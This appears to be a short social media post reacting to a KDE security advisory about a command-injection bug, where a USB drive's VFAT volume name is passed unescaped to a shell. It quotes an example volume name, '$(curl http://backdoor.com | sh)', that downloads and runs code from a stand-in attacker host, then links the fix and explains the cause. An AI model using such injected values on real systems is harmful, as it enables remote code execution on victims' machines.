https://www.kde.org/info/security/advisory-20180208-2.txt … Execute arbitrary code on KDE by calling your pendrive VFAT volume $(curl http://backdoor.com | sh). Nice. The fix replaces a call to expandMacros with expandMacrosShellQuote. https://cgit.kde.org/plasma-workspace.git/commit/?id=f32002ce50edc3891f1fa41173132c820b917d57 … What. https://github.com/KDE/kdelibs/blob/ba77ceb18bea3cb5c9d5207b2988f7d7e169d1fb/kdecore/util/kmacroexpander_unix.cpp#L48-L213 … ... What?!
The underlying problem is that this: https://standards.freedesktop.org/desktop-entry-spec/latest/ar01s07.html … is being implemented by passing the commandline to a shell (perhaps for historical reasons - pretty sure some people stick shellscript fragments in there) and they forgot to escape the argument.